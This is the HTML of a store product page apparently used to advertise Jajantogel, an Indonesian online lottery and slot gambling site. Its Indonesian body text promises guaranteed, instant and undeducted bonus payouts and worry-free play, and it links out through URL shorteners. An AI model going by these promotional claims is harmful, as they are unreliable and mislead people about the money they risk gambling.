"SITE_PALETTE_COLOR", "sitePaletteColor": { "colorName": "black", "alphaModifier": 1.0 } } }, "gradientOptions": { "gradientType": "faded", "headerOpacity": { "unit": "%", "value": 90.0 }, "border": { "enabled": false, "position": "allSides", "thickness": { "unit": "px", "value": 4.0 }, "color": { "type": "SITE_PALETTE_COLOR", "sitePaletteColor": { "colorName": "black", "alphaModifier": 1.0 } } }, "dropShadow": { "enabled": false, "blur": { "unit": "px", "value": 30.0 }, "spread": { "unit": "px", "value": 0.0 }, "distance": { "unit": "px", "value": 0.0 }, "color": { "type": "SITE_PALETTE_COLOR", "sitePaletteColor": { "colorName": "black", "alphaModifier": 1.0 } } }, "blurBackground": { "enabled": false, "blurRadius": { "unit": "px", "value": 12.0 } }, "backgroundColor": { "type": "SITE_PALETTE_COLOR", "sitePaletteColor": { "colorName": "white", "alphaModifier": 1.0 } }, "navigationColor": { "type": "SITE_PALETTE_COLOR", "sitePaletteColor": { "colorName": "black", "alphaModifier": 1.0 } } }, "dropShadowOptions": { "enabled": false, "blur": { "unit": "px", "value": 12.0 }, "spread": { "unit": "px", "value": 0.0 }, "distance": { "unit": "px", "value": 12.0 } }, "borderOptions": { "enabled": false, "position": "allSides", "thickness": { "unit": "px", "value": 4.0}, "color": { "type": "SITE_PALETTE_COLOR", "sitePaletteColor": { "colorName": "black", "alphaModifier": 1.0 } } }, "showPromotedElement": false, "buttonVariant": "primary", "blurBackground": { "enabled": false, "blurRadius": { "unit": "px", "value": 12.0 } }, "headerOpacity": { "unit": "%", "value": 100.0 } }" data-section-id="header" data-header-theme="" data-menu-overlay-theme="" data-header-style="dynamic" data-language-picker="{ "enabled": false, "iconEnabled": false, "iconType": "globe", "flagShape": "shiny", "languageFlags": [ ] }" data-first-focusable-element tabindex="-1" style=" --headerBorderColor: hsla(var(--black-hsl), 1); --solidHeaderBackgroundColor: hsla(var(--white-hsl), 1); --solidHeaderNavigationColor: hsla(var(--black-hsl), 1); --gradientHeaderBackgroundColor: hsla(var(--white-hsl), 1); --gradientHeaderNavigationColor: hsla(var(--black-hsl), 1); "> <div class="sqs-announcement-bar-dropzone"></div> <div class="header-announcement-bar-wrapper"> <a href="#page" class="header-skip-link sqs-button-element--primary"> Skip to Content </a> <div class="header-border" data-header-style="dynamic" data-header-usability-enabled="true" data-header-border="false" data-test="header-border" style=" border-width: 0px !important; "></div> <div class="header-dropshadow" data-header-style="dynamic" data-header-usability-enabled="true" data-header-dropshadow="false" data-test="header-dropshadow" style=" "></div> <div class='header-inner container--fluid header-layout--with-commerce header-mobile-layout-logo-center-nav-left header-layout-branding-center ' style=" padding: 0; " data-test="header-inner"> <!-- Background --> <div class="header-background theme-bg--primary"></div> <div class="header-display-desktop" data-content-field="site-title"> <style> .top-bun, .patty, .bottom-bun { height: 1px; } </style> <!-- Burger --> <div class="header-burger menu-overlay-does-not-have-visible-non-navigation-items no-actions " data-animation-role="header-element"> <button class="header-burger-btn burger" data-test="header-burger"> <span hidden class="js-header-burger-open-title visually-hidden">Open Menu</span> <span hidden class="js-header-burger-close-title visually-hidden">Close Menu</span> <div class="burger-box"> <div class="burger-inner header-menu-icon-doubleLineHamburger"> <div class="top-bun"></div> <div class="patty"></div> <div class="bottom-bun"></div> </div> </div> </button> </div> <!-- Social --> <!-- Title and nav wrapper --> <div class="header-title-nav-wrapper"> <!-- Nav --> <div class="header-nav"> <div class="header-nav-wrapper"> <nav class="header-nav-list"> <div class="header-nav-item header-nav-item--collection header-nav-item--active"> <a href="https://sulfurlamp.com/" title="Jajantogel">Jajantogel</a> </div> <div class="header-nav-item header-nav-item--collection header-nav-item--active"> <a href="https://sulfurlamp.com/" title="Togel Online">Togel Online</a> </div> <div class="header-nav-item header-nav-item--collection header-nav-item--active"> <a href="https://sulfurlamp.com/" title="Jajantogel Login">Jajantogel Login</a> </div> </nav> </div> </div> <!-- Title --> <div class=" header-title " data-animation-role="header-element"> <div class="header-title-logo"> <a href="https://sulfurlamp.com/" data-animation-role="header-element"> <img elementtiming="nbf-header-logo-desktop" src="https://i.gyazo.com/28f4bedf2e1a23e887b9d987438518a1.gif" alt="JAJANTOGEL" style="display:block" fetchpriority="high" loading="eager" decoding="async" data-loader="raw"> </a> </div> </div> </div> <!-- Actions --> <div class="header-actions header-actions--right"> <div class="showOnMobile"> <div class="header-actions-action header-actions-action--cart"> <a href="/cart" class="cart-style-icon icon--stroke icon--fill icon--cart sqs-custom-cart header-icon show-empty-cart-state cart-quantity-zero header-icon-border-shape-none header-icon-border-style-outline"> <span class="Cart-inner"> <svg class="icon icon--cart" width="61" height="49" viewBox="0 0 61 49"> <path fill-rule="evenodd" clip-rule="evenodd" d="M0.5 2C0.5 1.17157 1.17157 0.5 2 0.5H13.6362C14.3878 0.5 15.0234 1.05632 15.123 1.80135L16.431 11.5916H59C59.5122 11.5916 59.989 11.8529 60.2645 12.2847C60.54 12.7165 60.5762 13.2591 60.3604 13.7236L50.182 35.632C49.9361 36.1614 49.4054 36.5 48.8217 36.5H18.0453C17.2937 36.5 16.6581 35.9437 16.5585 35.1987L12.3233 3.5H2C1.17157 3.5 0.5 2.82843 0.5 2ZM16.8319 14.5916L19.3582 33.5H47.8646L56.6491 14.5916H16.8319Z" /> <path d="M18.589 35H49.7083L60 13H16L18.589 35Z" /> <path d="M21 49C23.2091 49 25 47.2091 25 45C25 42.7909 23.2091 41 21 41C18.7909 41 17 42.7909 17 45C17 47.2091 18.7909 49 21 49Z" /> <path d="M45 49C47.2091 49 49 47.2091 49 45C49 42.7909 47.2091 41 45 41C42.7909 41 41 42.7909 41 45C41 47.2091 42.7909 49 45 49Z" /> </svg> <div class="icon-cart-quantity"> <span class="cart-quantity-container"> <span class="sqs-cart-quantity">0</span> </span> </div> </span> </a> </div> </div> <div class="showOnDesktop"> <div class="header-actions-action header-actions-action--cart"> <a href="/cart" class="cart-style-icon icon--stroke icon--fill icon--cart sqs-custom-cart header-icon show-empty-cart-state cart-quantity-zero header-icon-border-shape-none header-icon-border-style-outline"> <span class="Cart-inner"> <svg class="icon icon--cart" width="61" height="49" viewBox="0 0 61 49"> <path fill-rule="evenodd" clip-rule="evenodd" d="M0.5 2C0.5 1.17157 1.17157 0.5 2 0.5H13.6362C14.3878 0.5 15.0234 1.05632 15.123 1.80135L16.431 11.5916H59C59.5122 11.5916 59.989 11.8529 60.2645 12.2847C60.54 12.7165 60.5762 13.2591 60.3604 13.7236L50.182 35.632C49.9361 36.1614 49.4054 36.5 48.8217 36.5H18.0453C17.2937 36.5 16.6581 35.9437 16.5585 35.1987L12.3233 3.5H2C1.17157 3.5 0.5 2.82843 0.5 2ZM16.8319 14.5916L19.3582 33.5H47.8646L56.6491 14.5916H16.8319Z" /> <path d="M18.589 35H49.7083L60 13H16L18.589 35Z" /> <path d="M21 49C23.2091 49 25 47.2091 25 45C25 42.7909 23.2091 41 21 41C18.7909 41 17 42.7909 17 45C17 47.2091 18.7909 49 21 49Z" /> <path d="M45 49C47.2091 49 49 47.2091 49 45C49 42.7909 47.2091 41 45 41C42.7909 41 41 42.7909 41 45C41 47.2091 42.7909 49 45 49Z" /> </svg> <div class="icon-cart-quantity"> <span class="cart-quantity-container"> <span class="sqs-cart-quantity">0</span> </span> </div> </span> </a> </div> </div> </div> </div> <div class="header-display-mobile" data-content-field="site-title"> <!-- Social --> <style> .top-bun, .patty, .bottom-bun { height: 1px; } .header-title-logo a{ max-height: 7rem !important; } .header-title-logo img { max-height: 7rem !important; } </style> <!-- Burger --> <div class="header-burger menu-overlay-does-not-have-visible-non-navigation-items no-actions " data-animation-role="header-element"> <button class="header-burger-btn burger" data-test="header-burger"> <span hidden class="js-header-burger-open-title visually-hidden">Open Menu</span> <span hidden class="js-header-burger-close-title visually-hidden">Close Menu</span> <div class="burger-box"> <div class="burger-inner header-menu-icon-doubleLineHamburger"> <div class="top-bun"></div> <div class="patty"></div> <div class="bottom-bun"></div> </div> </div> </button> </div> <!-- Title and nav wrapper --> <div class="header-title-nav-wrapper"> <!-- Nav --> <div class="header-nav"> <div class="header-nav-wrapper"> <nav class="header-nav-list"> <div class="header-nav-item header-nav-item--collection header-nav-item--active"> <a href="#" data-animation-role="header-element" aria-current="page"> Store </a> </div> <div class="header-nav-item header-nav-item--collection"> <a href="#" data-animation-role="header-element"> All Prints </a> </div> <div class="header-nav-item header-nav-item--collection"> <a href="#" data-animation-role="header-element"> About </a> </div> </nav> </div> </div> <!-- Title --> <div class=" header-title " data-animation-role="header-element"> <div class="header-title-logo"> <a href="/" data-animation-role="header-element"> <img elementtiming="nbf-header-logo-desktop" src="https://i.gyazo.com/28f4bedf2e1a23e887b9d987438518a1.gif" alt="JAJANTOGEL" style="display:block" fetchpriority="high" loading="eager" decoding="async" data-loader="raw"> </a> </div> </div> </div> <!-- Actions --> <div class="header-actions header-actions--right"> <div class="showOnMobile"> <div class="header-actions-action header-actions-action--cart"> <a href="#" class="cart-style-icon icon--stroke icon--fill icon--cart sqs-custom-cart header-icon show-empty-cart-state cart-quantity-zero header-icon-border-shape-none header-icon-border-style-outline"> <span class="Cart-inner"> <svg class="icon icon--cart" width="61" height="49" viewBox="0 0 61 49"> <path fill-rule="evenodd" clip-rule="evenodd" d="M0.5 2C0.5 1.17157 1.17157 0.5 2 0.5H13.6362C14.3878 0.5 15.0234 1.05632 15.123 1.80135L16.431 11.5916H59C59.5122 11.5916 59.989 11.8529 60.2645 12.2847C60.54 12.7165 60.5762 13.2591 60.3604 13.7236L50.182 35.632C49.9361 36.1614 49.4054 36.5 48.8217 36.5H18.0453C17.2937 36.5 16.6581 35.9437 16.5585 35.1987L12.3233 3.5H2C1.17157 3.5 0.5 2.82843 0.5 2ZM16.8319 14.5916L19.3582 33.5H47.8646L56.6491 14.5916H16.8319Z" /> <path d="M18.589 35H49.7083L60 13H16L18.589 35Z" /> <path d="M21 49C23.2091 49 25 47.2091 25 45C25 42.7909 23.2091 41 21 41C18.7909 41 17 42.7909 17 45C17 47.2091 18.7909 49 21 49Z" /> <path d="M45 49C47.2091 49 49 47.2091 49 45C49 42.7909 47.2091 41 45 41C42.7909 41 41 42.7909 41 45C41 47.2091 42.7909 49 45 49Z" /> </svg> <div class="icon-cart-quantity"> <span class="cart-quantity-container"> <span class="sqs-cart-quantity">0</span> </span> </div> </span> </a> </div> </div> <div class="showOnDesktop"> <div class="header-actions-action header-actions-action--cart"> <a href="#" class="cart-style-icon icon--stroke icon--fill icon--cart sqs-custom-cart header-icon show-empty-cart-state cart-quantity-zero header-icon-border-shape-none header-icon-border-style-outline"> <span class="Cart-inner"> <svg class="icon icon--cart" width="61" height="49" viewBox="0 0 61 49"> <path fill-rule="evenodd" clip-rule="evenodd" d="M0.5 2C0.5 1.17157 1.17157 0.5 2 0.5H13.6362C14.3878 0.5 15.0234 1.05632 15.123 1.80135L16.431 11.5916H59C59.5122 11.5916 59.989 11.8529 60.2645 12.2847C60.54 12.7165 60.5762 13.2591 60.3604 13.7236L50.182 35.632C49.9361 36.1614 49.4054 36.5 48.8217 36.5H18.0453C17.2937 36.5 16.6581 35.9437 16.5585 35.1987L12.3233 3.5H2C1.17157 3.5 0.5 2.82843 0.5 2ZM16.8319 14.5916L19.3582 33.5H47.8646L56.6491 14.5916H16.8319Z" /> <path d="M18.589 35H49.7083L60 13H16L18.589 35Z" /> <path d="M21 49C23.2091 49 25 47.2091 25 45C25 42.7909 23.2091 41 21 41C18.7909 41 17 42.7909 17 45C17 47.2091 18.7909 49 21 49Z" /> <path d="M45 49C47.2091 49 49 47.2091 49 45C49 42.7909 47.2091 41 45 41C42.7909 41 41 42.7909 41 45C41 47.2091 42.7909 49 45 49Z" /> </svg> <div class="icon-cart-quantity"> <span class="cart-quantity-container"> <span class="sqs-cart-quantity">0</span> </span> </div> </span> </a> </div> </div> </div> </div> </div> </div> <!-- (Mobile) Menu Navigation --> <div class="header-menu header-menu--folder-list " data-section-theme="" data-current-styles="{ "layout": "brandingCenter", "action": { "buttonText": "Get Started", "newWindow": false }, "showSocial": false, "socialOptions": { "socialBorderShape": "none", "socialBorderStyle": "outline", "socialBorderThickness": { "unit": "px", "value": 1.0 } }, "menuOverlayAnimation": "fade", "cartStyle": "cart", "cartText": "Cart", "showEmptyCartState": true, "cartOptions": { "iconType": "solid-7", "cartBorderShape": "none", "cartBorderStyle": "outline", "cartBorderThickness": { "unit": "px", "value": 1.0 } }, "showButton": false, "showCart": true, "showAccountLogin": false, "headerStyle": "dynamic", "languagePicker": { "enabled": false, "iconEnabled": false, "iconType": "globe", "flagShape": "shiny", "languageFlags": [ ] }, "mobileOptions": { "layout": "logoCenterNavLeft", "menuIcon": "doubleLineHamburger", "menuIconOptions": { "style": "doubleLineHamburger", "thickness": { "unit": "px", "value": 1.0} } }, "dynamicOptions": { "border": { "enabled": false, "position": "allSides", "thickness": { "unit": "px", "value": 4.0 }, "color": { "type": "SITE_PALETTE_COLOR", "sitePaletteColor": { "colorName": "black","alphaModifier": 1.0 } } } }, "solidOptions": { "headerOpacity": { "unit": "%", "value": 100.0 }, "border": { "enabled": false, "position": "allSides", "thickness": { "unit": "px", "value": 4.0 }, "color": { "type": "SITE_PALETTE_COLOR", "sitePaletteColor": { "colorName": "black", "alphaModifier": 1.0 } } }, "dropShadow": { "enabled": false, "blur": { "unit": "px", "value": 30.0 }, "spread": { "unit": "px", "value": 0.0 }, "distance": { "unit": "px", "value": 0.0 }, "color": { "type": "SITE_PALETTE_COLOR", "sitePaletteColor": { "colorName": "black", "alphaModifier": 1.0 } } }, "blurBackground": { "enabled": false, "blurRadius": { "unit": "px", "value": 12.0 } }, "backgroundColor": { "type": "SITE_PALETTE_COLOR", "sitePaletteColor": { "colorName": "white", "alphaModifier": 1.0 } }, "navigationColor": { "type": "SITE_PALETTE_COLOR", "sitePaletteColor": { "colorName": "black", "alphaModifier": 1.0 } } }, "gradientOptions": { "gradientType": "faded", "headerOpacity": { "unit": "%", "value": 90.0 }, "border": { "enabled": false, "position": "allSides","thickness": { "unit": "px", "value": 4.0 }, "color": { "type": "SITE_PALETTE_COLOR", "sitePaletteColor": { "colorName": "black", "alphaModifier": 1.0 } } }, "dropShadow": { "enabled": false, "blur": { "unit": "px", "value": 30.0}, "spread": { "unit": "px", "value": 0.0 }, "distance": { "unit": "px", "value": 0.0 }, "color": { &ququot;type": "SITE_PALETTE_COLOR", "sitePaletteColor": { "colorName": "black", "alphaModifier": 1.0 } } }, "blurBackground": { "enabled": false, "blurRadius": { "unit": "px", "value": 12.0 } }, "backgroundColor": { "type": "SITE_PALETTE_COLOR", "sitePaletteColor": { "colorName": "white", "alphaModifier": 1.0 } }, "navigationColor": { "type": "SITE_PALETTE_COLOR", "sitePaletteColor": { "colorName": "black", "alphaModifier": 1.0 } } }, "dropShadowOptions": { "enabled": false, "blur": { "unit": "px", "value": 12.0 }, "spread": { "unit": "px", "value": 0.0 }, "distance": { "unit": "px", "value": 12.0 } }, "borderOptions": { "enabled": false, "position": "allSides", "thickness": { "unit": "px", "value": 4.0 }, "color": { "type": "SITE_PALETTE_COLOR", "sitePaletteColor": { "colorName": "black", "alphaModifier": 1.0 } } }, "showPromotedElement": false, "buttonVariant": "primary", "blurBackground": { "enabled": false, "blurRadius": { "unit": "px", "value": 12.0 } }, "headerOpacity": { "unit": "%", "value": 100.0 } }" data-section-id="overlay-nav" data-show-account-login="false" data-test="header-menu"> <div class="header-menu-bg theme-bg--primary"></div> <div class="header-menu-nav"> <nav class="header-menu-nav-list"> <div data-folder="root" class="header-menu-nav-folder"> <div class="header-menu-nav-folder-content"> <!-- Menu Navigation --> <div class="header-menu-nav-wrapper"> <div class="container header-menu-nav-item header-menu-nav-item--collection header-menu-nav-item--active"> <a href="/store" aria-current="page"> <div class="header-menu-nav-item-content"> Store </div> </a> </div> <div class="container header-menu-nav-item header-menu-nav-item--collection"> <a href="/all-prints"> <div class="header-menu-nav-item-content">All Prints </div> </a> </div> <div class="container header-menu-nav-item header-menu-nav-item--collection"> <a href="/about"> <div class="header-menu-nav-item-content"> About </div> </a> </div> </div> </div> </div> </nav> </div> </div> </header> <main id="page" class="container" role="main"> <article class="sections" id="sections" data-page-sections="65fd0fc2aa1d0858f5af2fe5"> <section data-test="page-section" data-section-theme="" class='page-section content-collection full-bleed-section collection-type-products background-width--full-bleed section-height--medium content-width--wide horizontal-alignment--center vertical-alignment--middle ' data-section-id="65fd10856774354aafe184c6" data-controller="SectionWrapperController" data-current-styles="{ "imageOverlayOpacity": 0.15, "backgroundWidth": "background-width--full-bleed", "sectionHeight": "section-height--medium", "customSectionHeight": 10, "horizontalAlignment": "horizontal-alignment--center", "verticalAlignment": "vertical-alignment--middle", "contentWidth": "content-width--wide", "customContentWidth": 50, "backgroundColor": "", "sectionTheme": "", "sectionAnimation": "none", "backgroundMode": "image" }" data-current-context="{ "video": null, "backgroundImageId": null, "backgroundMediaEffect": null, "divider": null, "typeName": "products" }" data-animation="none"> <div class="section-border"> <div class="section-background"> </div> </div> <div class='content-wrapper' style=' '> <div class="content"> <div class="n-columns-2"> <a href="https://rebrand.ly/login-jajan/" rel="nofollow noreferrer" class="login">LOGIN</a> <a href="https://rebrand.ly/alternatifjajan/" rel="nofollow noreferrer" class="register">DAFTAR</a> </div> <section id="pdp" class=" products collection-content-wrapper product-layout-side-by-side "> <article class="ProductItem hentry tag-togel-online tag-situs-toto tag-toto-togel author-situs-toto-togel-4D post-type-store-item" data-item-id="65fd0fc7db01f63c712f258e"> <nav class="ProductItem-nav"> <div class="ProductItem-nav-breadcrumb" data-animation-role="content"> <a href="/store" class="ProductItem-nav-breadcrumb-link">Store</a> <span class="ProductItem-nav-breadcrumb-separator"></span> <a href="/store" class="ProductItem-nav-breadcrumb-link">JAJANTOGEL Platform Login Situs Slot Dan Togel Pasaran Terviral</a> </div> </nav> <section class="ProductItem-summary" data-controller="ProductGallery"> <section aria-label="Gallery" class="ProductItem-gallery" data-product-gallery="container"> <div class="ProductItem-gallery-slides" data-animation-role="image" data-product-gallery="slides"> <div class="ProductItem-gallery-slides-item" data-slide-index="1" data-image-id=65fd0fd62438744c9a05c86b data-controller="ImageZoom" data-slide-url="zeus" data-product-gallery="slides-item" data-test="pdp-gallery-slide"> <img aria-describedby="ProductItem-gallery-slides-item-1-index-65fd0fd62438744c9a05c86b" class="ProductItem-gallery-slides-item-1" data-load="false" data-src="https://i.gyazo.com/cf715bbdbba57a210682255b9b047d6e.png" data-image="https://i.gyazo.com/cf715bbdbba57a210682255b9b047d6e.png" data-image-dimensions="840x480" data-image-focal-point="0.5,0.5" alt="JAJANTOGEL" elementtiming="nbf-products-gallery" /> <span id="ProductItem-gallery-slides-item-1-index-65fd0fd62438744c9a05c86b" style="display: none;"> Image 1 of </span> <div class="product-image-zoom-duplicate" aria-hidden="true"> <img data-load="false" data-src="https://i.gyazo.com/cf715bbdbba57a210682255b9b047d6e.png" data-image="https://i.gyazo.com/cf715bbdbba57a210682255b9b047d6e.png" data-image-dimensions="840x480" data-image-focal-point="0.5,0.5" alt="JAJANTOGEL" elementtiming="nbf-products-gallery-zoom" /> </div> </div> <div class="gallery-lightbox-outer-wrapper" data-use-image-loader="true" data-controller="Lightbox"> <div class="gallery-lightbox " data-section-theme=""> <div class="gallery-lightbox-background"></div> <div class="gallery-lightbox-header"> <button class="gallery-lightbox-close-btn" aria-label="Close" data-close data-test="gallery-lightbox-close"> <div class="gallery-lightbox-close-btn-icon"> <svg viewBox="0 0 40 40"> <path d="M4.3,35.7L35.7,4.3" /> <path d="M4.3,4.3l31.4,31.4" /> </svg> </div> </button> </div> <div class="gallery-lightbox-wrapper"> <div class="gallery-lightbox-list"> <figure class="gallery-lightbox-item" data-slide-url="zeus"> <div class="gallery-lightbox-item-wrapper"> <div class="gallery-lightbox-item-src"> <div class="gallery-lightbox-item-img content-fit"> <img data-src="https://i.gyazo.com/cf715bbdbba57a210682255b9b047d6e.png" data-image="https://i.gyazo.com/cf715bbdbba57a210682255b9b047d6e.png" data-image-dimensions="840x480" data-image-focal-point="0.5,0.5" alt="JAJANTOGEL" data-load="false" elementtiming="nbf-product-lightbox" /></div> </div> </div> </figure> </div> <div class="gallery-lightbox-controls" data-test="gallery-lightbox-controls"> <div class="gallery-lightbox-control" data-previous data-test="gallery-lightbox-control-previous"> <button class="gallery-lightbox-control-btn" aria-label="Previous Slide"> <div class="gallery-lightbox-control-btn-icon"> <svg class="caret-left-icon--small" viewBox="0 0 9 16"> <polyline fill="none" stroke-miterlimit="10" points="7.3,14.7 2.5,8 7.3,1.2 " /> </svg> </div> </button> </div> <div class="gallery-lightbox-control" data-next data-test="gallery-lightbox-control-next"> <button class="gallery-lightbox-control-btn" aria-label="Next Slide"> <div class="gallery-lightbox-control-btn-icon"> <svg class="caret-right-icon--small" viewBox="0 0 9 16"> <polyline fill="none" stroke-miterlimit="10" points="1.6,1.2 6.5,7.9 1.6,14.7 " /> </svg> </div> </button> </div> </div> </div> </div> </div> </div> </section> <section class=" product-details ProductItem-details " data-test="pdp-details"> <h1 class="ProductItem-details-title" data-content-field="title" data-test="pdp-title"> JAJANTOGEL Platform Login Situs Slot Dan Togel Pasaran Terviral </h1> <div data-controller="ProductItemVariants,ProductCartButton" class="ProductItem-details-checkout"> <div class="ProductItem-product-price" data-animation-role="content"> <div class="product-price"> IDR 10,000.00 </div> <div data-afterpay="true" data-current-context="{ "65fd0fc7db01f63c712f258e": { "scarcityEnabled": false, "scarcityShownByDefault": false, "afterPayAvailable": false, "klarnaAvailable": false, "shopperLanguage": "en", "afterPayMin": 0, "afterPayMax": 0, "klarnaMin": 0, "klarnaMax": 0, "mailingListSignUpEnabled": false, "mailingListOptInByDefault": false } }"></div> <div class="pdp-overlay"></div> </div> <div class="ProductItem-details-excerpt" data-content-field="excerpt"> <p><a href="https://sulfurlamp.com/">JAJANTOGEL</a> merupakan platform unggulan dengan link login situs slot resmi dan togel online dengan pasaran terviral di indonesia, jajantogel memberikan pelayanan terbaik dan proses tercepat. Sebagai rekomendasi untuk Anda yang mau bermain slot maka Jajantogel adalah solusi terbaik. Bermain slot sekarang ini cukup menyenangkan dan mudah dilakukan. Pasalnya, cukup banyak agen slot yang menawarkan penawaran menarik dengan segudang bonus. Mulai dari bonus new member, bonus harian, bonus mingguan hingga bonus refferal yang bisa dijadikan sebagai pasif income.</p> <p>Tak hanya itu, dari permainan itu sendiri pun sering mengeluarkan bonus yang tidak terduga tanpa perlu ribet mengatur strategi atau pola bermain. Karena memang semuanya sudah disediakan oleh penyedia slot atau dalam hal ini bandar slot.</p> <p>Sebagai rekomendasi untuk Anda yang mau bermain slot maka <a href="https://sulfurlamp.com/">jajantogel login</a> adalah solusi terbaik. Mengapa? Dengan segudang pengalaman dan fasilitas serta fitur dipastikan Anda puas memainkan slot apa saja tanpa perlu merasa khawatir sama sekali.</p> <p>Salah satunya adalah pembayaran semua bonus yang berapapun nilainya pasti dibayarkan tanpa ribet. Tanpa ada potongan sama sekali dan langsung masuk ke rekening dalam hitungan detik. Yang penting, saat mengisi form sangat disarankan untuk mengisinya dengan data valid.</p> </div> <div class="product-quantity-input" data-item-id="65fd0fc7db01f63c712f258e" data-animation-role="content"> <div class="quantity-label">Quantity:</div> <input aria-label="Quantity" size="4" max="9999" min="1" value="1" type="number" step="1"></input> </div> <div class="sqs-add-to-cart-button-wrapper" data-animation-role="button"> <a><div class="sqs-add-to-cart-button sqs-suppress-edit-mode sqs-editable-button sqs-button-element--primary " role="button" tabindex="0" data-dynamic-strings data-collection-id="65fd0fc2aa1d0858f5af2fe4" data-item-id="65fd0fc7db01f63c712f258e" data-product-type="1" data-use-custom-label="false" data-original-label="Add To Cart"> <div class="sqs-add-to-cart-button-inner">Add To Cart</div> </div></a> </div> </div> </section> </section> </article> </section> </div> </div> </section> </article> </main> <script type="text/javascript"> const firstSection = document.querySelector('.page-section'); const header = document.querySelector('.header'); const mobileOverlayNav = document.querySelector('.header-menu'); const sectionBackground = firstSection ? firstSection.querySelector('.section-background') : null; const headerHeight = header ? header.getBoundingClientRect().height : 0; const firstSectionHasBackground = firstSection ? firstSection.className.indexOf('has-background') >= 0 : false; const isFirstSectionInset = firstSection ? firstSection.className.indexOf('background-width--inset') >= 0 : false; const isLayoutEngineSection = firstSection ? firstSection.className.indexOf('layout-engine-section') >= 0 : false; if (firstSection) { firstSection.style.paddingTop = headerHeight + 'px'; } if (sectionBackground && isLayoutEngineSection) { if (isFirstSectionInset) { sectionBackground.style.top = headerHeight + 'px'; } else { sectionBackground.style.top = ''; } } //# sourceURL=headerPositioning.js </script> <footer class="sections" id="footer-sections" data-footer-sections> <small class="copyright__content"><a href="https://sulfurlamp.com/" title="Jajantogel">Copyright �2024 Jajantogel</a></small> </footer> </div> <script defer="defer" src="https://static1.squarespace.com/static/vta/5c5a519771c10ba3470d8101/scripts/site-bundle.6c05f1e49429ba1d8919cf9e9cce7b3f.js" type="text/javascript"></script> <svg xmlns="http://www.w3.org/2000/svg" version="1.1" style="display:none" data-usage="social-icons-svg"> <symbol id="facebook-icon" viewBox="0 0 64 64"> <path d="M34.1,47V33.3h4.6l0.7-5.3h-5.3v-3.4c0-1.5,0.4-2.6,2.6-2.6l2.8,0v-4.8c-0.5-0.1-2.2-0.2-4.1-0.2 c-4.1,0-6.9,2.5-6.9,7V28H24v5.3h4.6V47H34.1z" /> </symbol> <symbol id="facebook-mask" viewBox="0 0 64 64"> <path d="M0,0v64h64V0H0z M39.6,22l-2.8,0c-2.2,0-2.6,1.1-2.6,2.6V28h5.3l-0.7,5.3h-4.6V47h-5.5V33.3H24V28h4.6V24 c0-4.6,2.8-7,6.9-7c2,0,3.6,0.1,4.1,0.2V22z" /> </symbol> <symbol id="instagram-icon" viewBox="0 0 64 64"> <path d="M46.91,25.816c-0.073-1.597-0.326-2.687-0.697-3.641c-0.383-0.986-0.896-1.823-1.73-2.657c-0.834-0.834-1.67-1.347-2.657-1.73c-0.954-0.371-2.045-0.624-3.641-0.697C36.585,17.017,36.074,17,32,17s-4.585,0.017-6.184,0.09c-1.597,0.073-2.687,0.326-3.641,0.697c-0.986,0.383-1.823,0.896-2.657,1.73c-0.834,0.834-1.347,1.67-1.73,2.657c-0.371,0.954-0.624,2.045-0.697,3.641C17.017,27.415,17,27.926,17,32c0,4.074,0.017,4.585,0.09,6.184c0.073,1.597,0.326,2.687,0.697,3.641c0.383,0.986,0.896,1.823,1.73,2.657c0.834,0.834,1.67,1.347,2.657,1.73c0.954,0.371,2.045,0.624,3.641,0.697C27.415,46.983,27.926,47,32,47s4.585-0.017,6.184-0.09c1.597-0.073,2.687-0.326,3.641-0.697c0.986-0.383,1.823-0.896,2.657-1.73c0.834-0.834,1.347-1.67,1.73-2.657c0.371-0.954,0.624-2.045,0.697-3.641C46.983,36.585,47,36.074,47,32S46.983,27.415,46.91,25.816z M44.21,38.061c-0.067,1.462-0.311,2.257-0.516,2.785c-0.272,0.7-0.597,1.2-1.122,1.725c-0.525,0.525-1.025,0.85-1.725,1.122c-0.529,0.205-1.323,0.45-2.785,0.516c-1.581,0.072-2.056,0.087-6.061,0.087s-4.48-0.015-6.061-0.087c-1.462-0.067-2.257-0.311-2.785-0.516c-0.7-0.272-1.2-0.597-1.725-1.122c-0.525-0.525-0.85-1.025-1.122-1.725c-0.205-0.529-0.45-1.323-0.516-2.785c-0.072-1.582-0.087-2.056-0.087-6.061s0.015-4.48,0.087-6.061c0.067-1.462,0.311-2.257,0.516-2.785c0.272-0.7,0.597-1.2,1.122-1.725c0.525-0.525,1.025-0.85,1.725-1.122c0.529-0.205,1.323-0.45,2.785-0.516c1.582-0.072,2.056-0.087,6.061-0.087s4.48,0.015,6.061,0.087c1.462,0.067,2.257,0.311,2.785,0.516c0.7,0.272,1.2,0.597,1.725,1.122c0.525,0.525,0.85,1.025,1.122,1.725c0.205,0.529,0.45,1.323,0.516,2.785c0.072,1.582,0.087,2.056,0.087,6.061S44.282,36.48,44.21,38.061z M32,24.297c-4.254,0-7.703,3.449-7.703,7.703c0,4.254,3.449,7.703,7.703,7.703c4.254,0,7.703-3.449,7.703-7.703C39.703,27.746,36.254,24.297,32,24.297z M32,37c-2.761,0-5-2.239-5-5c0-2.761,2.239-5,5-5s5,2.239,5,5C37,34.761,34.761,37,32,37z M40.007,22.193c-0.994,0-1.8,0.806-1.8,1.8c0,0.994,0.806,1.8,1.8,1.8c0.994,0,1.8-0.806,1.8-1.8C41.807,22.999,41.001,22.193,40.007,22.193z" /> </symbol> <symbol id="instagram-mask" viewBox="0 0 64 64"> <path d="M43.693,23.153c-0.272-0.7-0.597-1.2-1.122-1.725c-0.525-0.525-1.025-0.85-1.725-1.122c-0.529-0.205-1.323-0.45-2.785-0.517c-1.582-0.072-2.056-0.087-6.061-0.087s-4.48,0.015-6.061,0.087c-1.462,0.067-2.257,0.311-2.785,0.517c-0.7,0.272-1.2,0.597-1.725,1.122c-0.525,0.525-0.85,1.025-1.122,1.725c-0.205,0.529-0.45,1.323-0.516,2.785c-0.072,1.582-0.087,2.056-0.087,6.061s0.015,4.48,0.087,6.061c0.067,1.462,0.311,2.257,0.516,2.785c0.272,0.7,0.597,1.2,1.122,1.725s1.025,0.85,1.725,1.122c0.529,0.205,1.323,0.45,2.785,0.516c1.581,0.072,2.056,0.087,6.061,0.087s4.48-0.015,6.061-0.087c1.462-0.067,2.257-0.311,2.785-0.516c0.7-0.272,1.2-0.597,1.725-1.122s0.85-1.025,1.122-1.725c0.205-0.529,0.45-1.323,0.516-2.785c0.072-1.582,0.087-2.056,0.087-6.061s-0.015-4.48-0.087-6.061C44.143,24.476,43.899,23.682,43.693,23.153z 